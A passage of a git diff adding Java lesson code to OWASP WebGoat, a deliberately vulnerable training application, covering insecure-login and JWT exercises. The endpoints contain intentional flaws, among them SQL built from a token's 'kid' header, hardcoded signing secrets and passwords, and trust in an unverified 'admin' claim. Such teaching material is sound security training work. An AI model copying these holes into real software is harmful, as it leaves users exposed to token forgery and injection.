General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.insecurelogin; + +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.springframework.http.HttpStatus; +import org.springframework.web.bind.annotation.*; + +@RestController +public class InsecureLoginTask extends AssignmentEndpoint { + + @PostMapping("/InsecureLogin/task") + @ResponseBody + public AttackResult completed(@RequestParam String username, @RequestParam String password) { + if ("CaptainJack".equals(username) && "BlackPearl".equals(password)) { + return success(this).build(); + } + return failed(this).build(); + } + + @PostMapping("/InsecureLogin/login") + @ResponseStatus(HttpStatus.ACCEPTED) + public void login() { + // only need to exists as the JS needs to call an existing endpoint + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/jwt/JWT.java b/src/main/java/org/owasp/webgoat/lessons/jwt/JWT.java new file mode 100644 index 000000000..31dee5ef5 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/jwt/JWT.java @@ -0,0 +1,45 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.jwt; + +import org.owasp.webgoat.container.lessons.Category; +import org.owasp.webgoat.container.lessons.Lesson; +import org.springframework.stereotype.Component; + +/** + * @author nbaars + * @since 3/22/17. + */ +@Component +public class JWT extends Lesson { + + @Override + public Category getDefaultCategory() { + return Category.A7; + } + + @Override + public String getTitle() { + return "jwt.title"; + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/jwt/JWTDecodeEndpoint.java b/src/main/java/org/owasp/webgoat/lessons/jwt/JWTDecodeEndpoint.java new file mode 100644 index 000000000..9b27236cb --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/jwt/JWTDecodeEndpoint.java @@ -0,0 +1,22 @@ +package org.owasp.webgoat.lessons.jwt; + +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +@RestController +public class JWTDecodeEndpoint extends AssignmentEndpoint { + + @PostMapping("/JWT/decode") + @ResponseBody + public AttackResult decode(@RequestParam("jwt-encode-user") String user) { + if ("user".equals(user)) { + return success(this).build(); + } else { + return failed(this).build(); + } + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/jwt/JWTFinalEndpoint.java b/src/main/java/org/owasp/webgoat/lessons/jwt/JWTFinalEndpoint.java new file mode 100644 index 000000000..e84bbf809 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/jwt/JWTFinalEndpoint.java @@ -0,0 +1,136 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.jwt; + +import io.jsonwebtoken.*; +import io.jsonwebtoken.impl.TextCodec; +import java.sql.ResultSet; +import java.sql.SQLException; +import org.apache.commons.lang3.StringUtils; +import org.owasp.webgoat.container.LessonDataSource; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AssignmentHints; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.springframework.web.bind.annotation.*; + +/** + * + * + *

+ *  {
+ *      "typ": "JWT",
+ *      "kid": "webgoat_key",
+ *      "alg": "HS256"
+ *  }
+ *  {
+ *       "iss": "WebGoat Token Builder",
+ *       "iat": 1524210904,
+ *       "exp": 1618905304,
+ *       "aud": "webgoat.org",
+ *       "sub": "jerry@webgoat.com",
+ *       "username": "Jerry",
+ *       "Email": "jerry@webgoat.com",
+ *       "Role": [
+ *       "Cat"
+ *       ]
+ *  }
+ * 
+ * + * @author nbaars + * @since 4/23/17. + */ +@RestController +@AssignmentHints({ + "jwt-final-hint1", + "jwt-final-hint2", + "jwt-final-hint3", + "jwt-final-hint4", + "jwt-final-hint5", + "jwt-final-hint6" +}) +public class JWTFinalEndpoint extends AssignmentEndpoint { + + private final LessonDataSource dataSource; + + private JWTFinalEndpoint(LessonDataSource dataSource) { + this.dataSource = dataSource; + } + + @PostMapping("/JWT/final/follow/{user}") + public @ResponseBody String follow(@PathVariable("user") String user) { + if ("Jerry".equals(user)) { + return "Following yourself seems redundant"; + } else { + return "You are now following Tom"; + } + } + + @PostMapping("/JWT/final/delete") + public @ResponseBody AttackResult resetVotes(@RequestParam("token") String token) { + if (StringUtils.isEmpty(token)) { + return failed(this).feedback("jwt-invalid-token").build(); + } else { + try { + final String[] errorMessage = {null}; + Jwt jwt = + Jwts.parser() + .setSigningKeyResolver( + new SigningKeyResolverAdapter() { + @Override + public byte[] resolveSigningKeyBytes(JwsHeader header, Claims claims) { + final String kid = (String) header.get("kid"); + try (var connection = dataSource.getConnection()) { + ResultSet rs = + connection + .createStatement() + .executeQuery( + "SELECT key FROM jwt_keys WHERE id = '" + kid + "'"); + while (rs.next()) { + return TextCodec.BASE64.decode(rs.getString(1)); + } + } catch (SQLException e) { + errorMessage[0] = e.getMessage(); + } + return null; + } + }) + .parseClaimsJws(token); + if (errorMessage[0] != null) { + return failed(this).output(errorMessage[0]).build(); + } + Claims claims = (Claims) jwt.getBody(); + String username = (String) claims.get("username"); + if ("Jerry".equals(username)) { + return failed(this).feedback("jwt-final-jerry-account").build(); + } + if ("Tom".equals(username)) { + return success(this).build(); + } else { + return failed(this).feedback("jwt-final-not-tom").build(); + } + } catch (JwtException e) { + return failed(this).feedback("jwt-invalid-token").output(e.toString()).build(); + } + } + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/jwt/JWTQuiz.java b/src/main/java/org/owasp/webgoat/lessons/jwt/JWTQuiz.java new file mode 100644 index 000000000..abcd08edd --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/jwt/JWTQuiz.java @@ -0,0 +1,48 @@ +package org.owasp.webgoat.lessons.jwt; + +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +@RestController +public class JWTQuiz extends AssignmentEndpoint { + + private final String[] solutions = {"Solution 1", "Solution 2"}; + private final boolean[] guesses = new boolean[solutions.length]; + + @PostMapping("/JWT/quiz") + @ResponseBody + public AttackResult completed( + @RequestParam String[] question_0_solution, @RequestParam String[] question_1_solution) { + int correctAnswers = 0; + + String[] givenAnswers = {question_0_solution[0], question_1_solution[0]}; + + for (int i = 0; i < solutions.length; i++) { + if (givenAnswers[i].contains(solutions[i])) { + // answer correct + correctAnswers++; + guesses[i] = true; + } else { + // answer incorrect + guesses[i] = false; + } + } + + if (correctAnswers == solutions.length) { + return success(this).build(); + } else { + return failed(this).build(); + } + } + + @GetMapping("/JWT/quiz") + @ResponseBody + public boolean[] getResults() { + return this.guesses; + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/jwt/JWTRefreshEndpoint.java b/src/main/java/org/owasp/webgoat/lessons/jwt/JWTRefreshEndpoint.java new file mode 100644 index 000000000..945bb57da --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/jwt/JWTRefreshEndpoint.java @@ -0,0 +1,157 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.jwt; + +import static org.springframework.http.ResponseEntity.ok; + +import io.jsonwebtoken.Claims; +import io.jsonwebtoken.ExpiredJwtException; +import io.jsonwebtoken.Header; +import io.jsonwebtoken.Jwt; +import io.jsonwebtoken.JwtException; +import io.jsonwebtoken.Jwts; +import java.util.ArrayList; +import java.util.Date; +import java.util.HashMap; +import java.util.List; +import java.util.Map; +import java.util.concurrent.TimeUnit; +import org.apache.commons.lang3.RandomStringUtils; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AssignmentHints; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.springframework.http.HttpStatus; +import org.springframework.http.MediaType; +import org.springframework.http.ResponseEntity; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.RequestHeader; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +/** + * @author nbaars + * @since 4/23/17. + */ +@RestController +@AssignmentHints({ + "jwt-refresh-hint1", + "jwt-refresh-hint2", + "jwt-refresh-hint3", + "jwt-refresh-hint4" +}) +public class JWTRefreshEndpoint extends AssignmentEndpoint { + + public static final String PASSWORD = "bm5nhSkxCXZkKRy4"; + private static final String JWT_PASSWORD = "bm5n3SkxCX4kKRy4"; + private static final List validRefreshTokens = new ArrayList<>(); + + @PostMapping( + value = "/JWT/refresh/login", + consumes = MediaType.APPLICATION_JSON_VALUE, + produces = MediaType.APPLICATION_JSON_VALUE) + @ResponseBody + public ResponseEntity follow(@RequestBody(required = false) Map json) { + if (json == null) { + return ResponseEntity.status(HttpStatus.UNAUTHORIZED).build(); + } + String user = (String) json.get("user"); + String password = (String) json.get("password"); + + if ("Jerry".equalsIgnoreCase(user) && PASSWORD.equals(password)) { + return ok(createNewTokens(user)); + } + return ResponseEntity.status(HttpStatus.UNAUTHORIZED).build(); + } + + private Map createNewTokens(String user) { + Map claims = new HashMap<>(); + claims.put("admin", "false"); + claims.put("user", user); + String token = + Jwts.builder() + .setIssuedAt(new Date(System.currentTimeMillis() + TimeUnit.DAYS.toDays(10))) + .setClaims(claims) + .signWith(io.jsonwebtoken.SignatureAlgorithm.HS512, JWT_PASSWORD) + .compact(); + Map tokenJson = new HashMap<>(); + String refreshToken = RandomStringUtils.randomAlphabetic(20); + validRefreshTokens.add(refreshToken); + tokenJson.put("access_token", token); + tokenJson.put("refresh_token", refreshToken); + return tokenJson; + } + + @PostMapping("/JWT/refresh/checkout") + @ResponseBody + public ResponseEntity checkout( + @RequestHeader(value = "Authorization", required = false) String token) { + if (token == null) { + return ResponseEntity.status(HttpStatus.UNAUTHORIZED).build(); + } + try { + Jwt jwt = Jwts.parser().setSigningKey(JWT_PASSWORD).parse(token.replace("Bearer ", "")); + Claims claims = (Claims) jwt.getBody(); + String user = (String) claims.get("user"); + if ("Tom".equals(user)) { + return ok(success(this).build()); + } + return ok(failed(this).feedback("jwt-refresh-not-tom").feedbackArgs(user).build()); + } catch (ExpiredJwtException e) { + return ok(failed(this).output(e.getMessage()).build()); + } catch (JwtException e) { + return ok(failed(this).feedback("jwt-invalid-token").build()); + } + } + + @PostMapping("/JWT/refresh/newToken") + @ResponseBody + public ResponseEntity newToken( + @RequestHeader(value = "Authorization", required = false) String token, + @RequestBody(required = false) Map json) { + if (token == null || json == null) { + return ResponseEntity.status(HttpStatus.UNAUTHORIZED).build(); + } + + String user; + String refreshToken; + try { + Jwt jwt = + Jwts.parser().setSigningKey(JWT_PASSWORD).parse(token.replace("Bearer ", "")); + user = (String) jwt.getBody().get("user"); + refreshToken = (String) json.get("refresh_token"); + } catch (ExpiredJwtException e) { + user = (String) e.getClaims().get("user"); + refreshToken = (String) json.get("refresh_token"); + } + + if (user == null || refreshToken == null) { + return ResponseEntity.status(HttpStatus.UNAUTHORIZED).build(); + } else if (validRefreshTokens.contains(refreshToken)) { + validRefreshTokens.remove(refreshToken); + return ok(createNewTokens(user)); + } else { + return ResponseEntity.status(HttpStatus.UNAUTHORIZED).build(); + } + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/jwt/JWTSecretKeyEndpoint.java b/src/main/java/org/owasp/webgoat/lessons/jwt/JWTSecretKeyEndpoint.java new file mode 100644 index 000000000..dac1ef5cc --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/jwt/JWTSecretKeyEndpoint.java @@ -0,0 +1,99 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.jwt; + +import io.jsonwebtoken.Claims; +import io.jsonwebtoken.Jwt; +import io.jsonwebtoken.Jwts; +import io.jsonwebtoken.SignatureAlgorithm; +import io.jsonwebtoken.impl.TextCodec; +import java.time.Instant; +import java.util.Calendar; +import java.util.Date; +import java.util.List; +import java.util.Random; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AssignmentHints; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.springframework.http.MediaType; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +/** + * @author nbaars + * @since 4/23/17. + */ +@RestController +@AssignmentHints({"jwt-secret-hint1", "jwt-secret-hint2", "jwt-secret-hint3"}) +public class JWTSecretKeyEndpoint extends AssignmentEndpoint { + + public static final String[] SECRETS = { + "victory", "business", "available", "shipping", "washington" + }; + public static final String JWT_SECRET = + TextCodec.BASE64.encode(SECRETS[new Random().nextInt(SECRETS.length)]); + private static final String WEBGOAT_USER = "WebGoat"; + private static final List expectedClaims = + List.of("iss", "iat", "exp", "aud", "sub", "username", "Email", "Role"); + + @RequestMapping(path = "/JWT/secret/gettoken", produces = MediaType.TEXT_HTML_VALUE) + @ResponseBody + public String getSecretToken() { + return Jwts.builder() + .setIssuer("WebGoat Token Builder") + .setAudience("webgoat.org") + .setIssuedAt(Calendar.getInstance().getTime()) + .setExpiration(Date.from(Instant.now().plusSeconds(60))) + .setSubject("tom@webgoat.org") + .claim("username", "Tom") + .claim("Email", "tom@webgoat.org") + .claim("Role", new String[] {"Manager", "Project Administrator"}) + .signWith(SignatureAlgorithm.HS256, JWT_SECRET) + .compact(); + } + + @PostMapping("/JWT/secret") + @ResponseBody + public AttackResult login(@RequestParam String token) { + try { + Jwt jwt = Jwts.parser().setSigningKey(JWT_SECRET).parseClaimsJws(token); + Claims claims = (Claims) jwt.getBody(); + if (!claims.keySet().containsAll(expectedClaims)) { + return failed(this).feedback("jwt-secret-claims-missing").build(); + } else { + String user = (String) claims.get("username"); + + if (WEBGOAT_USER.equalsIgnoreCase(user)) { + return success(this).build(); + } else { + return failed(this).feedback("jwt-secret-incorrect-user").feedbackArgs(user).build(); + } + } + } catch (Exception e) { + return failed(this).feedback("jwt-invalid-token").output(e.getMessage()).build(); + } + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/jwt/JWTVotesEndpoint.java b/src/main/java/org/owasp/webgoat/lessons/jwt/JWTVotesEndpoint.java new file mode 100644 index 000000000..632449822 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/jwt/JWTVotesEndpoint.java @@ -0,0 +1,221 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.jwt; + +import static java.util.Comparator.comparingLong; +import static java.util.Optional.ofNullable; +import static java.util.stream.Collectors.toList; + +import io.jsonwebtoken.Claims; +import io.jsonwebtoken.Jwt; +import io.jsonwebtoken.JwtException; +import io.jsonwebtoken.Jwts; +import io.jsonwebtoken.impl.TextCodec; +import java.time.Duration; +import java.time.Instant; +import java.util.Date; +import java.util.HashMap; +import java.util.Map; +import javax.annotation.PostConstruct; +import javax.servlet.http.Cookie; +import javax.servlet.http.HttpServletResponse; +import org.apache.commons.lang3.StringUtils; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AssignmentHints; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.owasp.webgoat.lessons.jwt.votes.Views; +import org.owasp.webgoat.lessons.jwt.votes.Vote; +import org.springframework.http.HttpStatus; +import org.springframework.http.MediaType; +import org.springframework.http.ResponseEntity; +import org.springframework.http.converter.json.MappingJacksonValue; +import org.springframework.web.bind.annotation.CookieValue; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PathVariable; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.ResponseStatus; +import org.springframework.web.bind.annotation.RestController; + +/** + * @author nbaars + * @since 4/23/17. + */ +@RestController +@AssignmentHints({ + "jwt-change-token-hint1", + "jwt-change-token-hint2", + "jwt-change-token-hint3", + "jwt-change-token-hint4", + "jwt-change-token-hint5" +}) +public class JWTVotesEndpoint extends AssignmentEndpoint { + + public static final String JWT_PASSWORD = TextCodec.BASE64.encode("victory"); + private static String validUsers = "TomJerrySylvester"; + + private static int totalVotes = 38929; + private Map votes = new HashMap<>(); + + @PostConstruct + public void initVotes() { + votes.put( + "Admin lost password", + new Vote( + "Admin lost password", + "In this challenge you will need to help the admin and find the password in order to" + + " login", + "challenge1-small.png", + "challenge1.png", + 36000, + totalVotes)); + votes.put( + "Vote for your favourite", + new Vote( + "Vote for your favourite", + "In this challenge ...", + "challenge5-small.png", + "challenge5.png", + 30000, + totalVotes)); + votes.put( + "Get it for free", + new Vote( + "Get it for free", + "The objective for this challenge is to buy a Samsung phone for free.", + "challenge2-small.png", + "challenge2.png", + 20000, + totalVotes)); + votes.put( + "Photo comments", + new Vote( + "Photo comments", + "n this challenge you can comment on the photo you will need to find the flag" + + " somewhere.", + "challenge3-small.png", + "challenge3.png", + 10000, + totalVotes)); + } + + @GetMapping("/JWT/votings/login") + public void login(@RequestParam("user") String user, HttpServletResponse response) { + if (validUsers.contains(user)) { + Claims claims = Jwts.claims().setIssuedAt(Date.from(Instant.now().plus(Duration.ofDays(10)))); + claims.put("admin", "false"); + claims.put("user", user); + String token = + Jwts.builder() + .setClaims(claims) + .signWith(io.jsonwebtoken.SignatureAlgorithm.HS512, JWT_PASSWORD) + .compact(); + Cookie cookie = new Cookie("access_token", token); + response.addCookie(cookie); + response.setStatus(HttpStatus.OK.value()); + response.setContentType(MediaType.APPLICATION_JSON_VALUE); + } else { + Cookie cookie = new Cookie("access_token", ""); + response.addCookie(cookie); + response.setStatus(HttpStatus.UNAUTHORIZED.value()); + response.setContentType(MediaType.APPLICATION_JSON_VALUE); + } + } + + @GetMapping("/JWT/votings") + @ResponseBody + public MappingJacksonValue getVotes( + @CookieValue(value = "access_token", required = false) String accessToken) { + MappingJacksonValue value = + new MappingJacksonValue( + votes.values().stream() + .sorted(comparingLong(Vote::getAverage).reversed()) + .collect(toList())); + if (StringUtils.isEmpty(accessToken)) { + value.setSerializationView(Views.GuestView.class); + } else { + try { + Jwt jwt = Jwts.parser().setSigningKey(JWT_PASSWORD).parse(accessToken); + Claims claims = (Claims) jwt.getBody(); + String user = (String) claims.get("user"); + if ("Guest".equals(user) || !validUsers.contains(user)) { + value.setSerializationView(Views.GuestView.class); + } else { + value.setSerializationView(Views.UserView.class); + } + } catch (JwtException e) { + value.setSerializationView(Views.GuestView.class); + } + } + return value; + } + + @PostMapping(value = "/JWT/votings/{title}") + @ResponseBody + @ResponseStatus(HttpStatus.ACCEPTED) + public ResponseEntity vote( + @PathVariable String title, + @CookieValue(value = "access_token", required = false) String accessToken) { + if (StringUtils.isEmpty(accessToken)) { + return ResponseEntity.status(HttpStatus.UNAUTHORIZED).build(); + } else { + try { + Jwt jwt = Jwts.parser().setSigningKey(JWT_PASSWORD).parse(accessToken); + Claims claims = (Claims) jwt.getBody(); + String user = (String) claims.get("user"); + if (!validUsers.contains(user)) { + return ResponseEntity.status(HttpStatus.UNAUTHORIZED).build(); + } else { + ofNullable(votes.get(title)).ifPresent(v -> v.incrementNumberOfVotes(totalVotes)); + return ResponseEntity.accepted().build(); + } + } catch (JwtException e) { + return ResponseEntity.status(HttpStatus.UNAUTHORIZED).build(); + } + } + } + + @PostMapping("/JWT/votings") + @ResponseBody + public AttackResult resetVotes( + @CookieValue(value = "access_token", required = false) String accessToken) { + if (StringUtils.isEmpty(accessToken)) { + return failed(this).feedback("jwt-invalid-token").build(); + } else { + try { + Jwt jwt = Jwts.parser().setSigningKey(JWT_PASSWORD).parse(accessToken); + Claims claims = (Claims) jwt.getBody(); + boolean isAdmin = Boolean.valueOf(String.valueOf(claims.get("admin"))); + if (!isAdmin) { + return failed(this).feedback("jwt-only-admin").build(); + } else { + votes.values().forEach(vote -> vote.reset()); + return success(this).build(); + } + } catch (JwtException e) { + return failed(this).feedback("jwt-invalid-token").output(e.toString()).build(); + } + } + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/jwt/votes/Views.java b/src/main/java/org/owasp/webgoat/lessons/jwt/votes/Views.java new file mode 100644 index 000000000..cc600318c --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/jwt/votes/Views.java @@ -0,0 +1,11 @@ +package org.owasp.webgoat.lessons.jwt.votes; + +/** + * @author nbaars + * @since 4/30/17. + */ +public class Views { + public interface GuestView {} + + public interface UserView extends GuestView {} +} diff --git a/src/main/java/org/owasp/webgoat/lessons/jwt/votes/Vote.java b/src/main/java/org/owasp/webgoat/lessons/jwt/votes/Vote.java new file mode 100644 index 000000000..2d065df53 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/jwt/votes/Vote.java @@ -0,0 +1,83 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.jwt.votes; + +import com.fasterxml.jackson.annotation.JsonView; +import lombok.Getter; + +/** + * @author nbaars + * @since 5/2/17. + */ +@Getter +public class Vote { + @JsonView(Views.GuestView.class) + private final String title; + + @JsonView(Views.GuestView.class) + private final String information; + + @JsonView(Views.GuestView.class) + private final String imageSmall; + + @JsonView(Views.GuestView.class) + private final String imageBig; + + @JsonView(Views.UserView.class) + private int numberOfVotes; + + @JsonView(Views.UserView.class) + private boolean votingAllowed = true; + + @JsonView(Views.UserView.class) + private long average = 0; + + public Vote( + String title, + String information, + String imageSmall, + String imageBig, + int numberOfVotes, + int totalVotes) { + this.title = title; + this.information = information; + this.imageSmall = imageSmall; + this.imageBig = imageBig; + this.numberOfVotes = numberOfVotes; + this.average = calculateStars(totalVotes); + } + + public void incrementNumberOfVotes(int totalVotes) { + this.numberOfVotes = this.numberOfVotes + 1; + this.average = calculateStars(totalVotes); + } + + public void reset() { + this.numberOfVotes = 1; + this.average = 1; + } + + private long calculateStars(int totalVotes) { + return Math.round(((double) numberOfVotes / (double) totalVotes) * 4); + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/lessontemplate/LessonTemplate.java b/src/main/java/org/owasp/webgoat/lessons/lessontemplate/LessonTemplate.java new file mode 100644 index 000000000..20fd1f293 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/lessontemplate/LessonTemplate.java @@ -0,0 +1,41 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.lessontemplate; + +import org.owasp.webgoat.container.lessons.Category; +import org.owasp.webgoat.container.lessons.Lesson; +import org.springframework.stereotype.Component; + +@Component +public class LessonTemplate extends Lesson { + + @Override + public Category getDefaultCategory() { + return Category.GENERAL; + } + + @Override + public String getTitle() { + return "lesson-template.title"; + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/lessontemplate/SampleAttack.java b/src/main/java/org/owasp/webgoat/lessons/lessontemplate/SampleAttack.java new file mode 100644 index 000000000..22a028490 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/lessontemplate/SampleAttack.java @@ -0,0 +1,91 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.lessontemplate; + +import java.util.List; +import lombok.AllArgsConstructor; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AssignmentHints; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.owasp.webgoat.container.session.UserSessionData; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PathVariable; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import 